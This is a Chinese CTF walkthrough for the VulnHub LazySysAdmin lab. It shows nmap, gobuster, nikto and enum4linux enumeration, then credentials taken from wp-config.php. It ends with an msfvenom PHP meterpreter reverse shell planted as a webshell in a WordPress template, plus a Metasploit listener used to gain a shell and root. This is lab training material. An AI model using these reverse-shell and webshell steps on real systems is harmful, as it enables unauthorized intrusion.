VulnHub-LazySysAdmin: 1Walkthrough渗透学习
2021/7/7 23:39:03
本文主要是介绍VulnHub-LazySysAdmin: 1Walkthrough渗透学习,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
VulnHub-LazySysAdmin: 1Walkthrough渗透学习
前言
靶机地址:https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
靶机难度:中级(CTF)
靶机发布日期:2016年4月27日
靶机描述:这是SickOs的后续系列中的第二篇,并且与先前的发行版无关,挑战范围是在系统上获得最高特权。
目标:得到root权限&找到flag.txt
作者:我是小小白
时间:2021-07-06
请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!
信息收集
主机发现
我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:
nmap -sP 192.168.1.0/24 -T4 参数解读: -sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping -T4: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4
端口扫描
我们已经找到了目标计算机IP地址:192.168.1.12
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:
nmap -sS -sV -sC -O -T5 -Pn -p- 192.168.1.12 参数解读: -A :启用-A选项之后,Nmap将检测目标主机的下述信息 服务版本识别(-sV); 操作系统识别(-O); 脚本扫描(-sC); Traceroute(–traceroute) -sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描 -sV: 指定让Nmap进行服务版本扫描 -p-:进行全端口扫描 -Pn:禁用主机检测(-Pn)
目录枚举
gobuster dir -u http://192.168.1.12/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent
/wordpress (Status: 301) [Size: 315] [--> http://192.168.1.12/wordpress/] /test (Status: 301) [Size: 310] [--> http://192.168.1.12/test/] /wp (Status: 301) [Size: 308] [--> http://192.168.1.12/wp/] /apache (Status: 301) [Size: 312] [--> http://192.168.1.12/apache/] /old (Status: 301) [Size: 309] [--> http://192.168.1.12/old/] /javascript (Status: 301) [Size: 316] [--> http://192.168.1.12/javascript/] /phpmyadmin (Status: 301) [Size: 316] [--> http://192.168.1.12/phpmyadmin/] /server-status (Status: 403) [Size: 292]
指纹识别
访问80端口返回网站信息;
漏洞发现
Nikto 通过代理扫描
nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等 nikto -h 192.168.1.12
扫描出来备份文件路径:
尝试弱口令,发现存在admin用户,但是登录失败。
漏洞利用
对Smb服务器进行探测(445端口)
Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具. 枚举选项: -U 获取用户列表 -M 获取机器列表* -S 获取共享列表 -P 获取密码策略信息 -G 获取组和成员列表 -d 详述适用于-U和-S -u user 用户指定要使用的用户名(默认"") -p pass 指定要使用的密码(默认为"") 以下选项是enum.exe未实现的: -L, -N, -D, -f 其他选项: -a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项 -h 显示此帮助消息并退出 -r 通过RID循环枚举用户 -R range RID范围要枚举(默认值:500-550,1000-1050,隐含-r) -K n 继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用 -l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN) -s 文件暴力猜测共享名称 -k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none) 用于获取sid与“lookupsid known_username” 使用逗号尝试几个用户:“-k admin,user1,user2” -o 获取操作系统信息 -i 获取打印机信息 -w wrkg 手动指定工作组(通常自动找到) -n 做一个nmblookup(类似于nbtstat) -v 详细输出,显示正在运行的完整命令(net,rpcclient等) RID循环应从Windows(或Samba)主机中提取一个用户列表,其中限制匿名设置为1(Windows NT和2000)或启用“网络访问:允许匿名SID /名称转换”(XP,2003)。 enum4linux -S 192.168.1.12
发现存在3个共享目录;
远程连接smb服务器
在wp-config.php 里面定义了一些账号密码,详细信息如下:
第一种提权方法
尝试使用账户密码登录SSH,发现使用账户Togie,密码12345能够成功登录;
成功获取到flag文件;
第二种提权方法
登录WordPress后台,利用反弹shell,获取flag
使用账户admin,密码:TogieMYSQL12345^^成功登录wordpress的后台;
1、上传php meterpreter payload文件,浏览器访问上传后的文件,获取php类型的反弹会话;
成功登录后,发现能上传文件,这边要使用msfvenom做PHP木马文件上传进行shell提权
1、筛选payload
msfvenom -l payload | grep php | grep meterpreter 筛选合适的payload
2、生成payload
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.7 lport=4444 -o wordpress.php
3、上传payload
在web页面上传后记录下上传文件的路径;(这里利用的是wordpress404模板文件写入的webshell)
4、Kali设置监听载荷
use exploit/multi/handler set payload php/meterpreter/reverse_tcp show options set LHOST 192.168.1.7 set LPORT 4444 exploit
5、获取到webshell以后发现是www-data权限,这里可以使用账户togie密码12345切换账户登录,最终也可以拿到root权限;
这篇关于VulnHub-LazySysAdmin: 1Walkthrough渗透学习的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南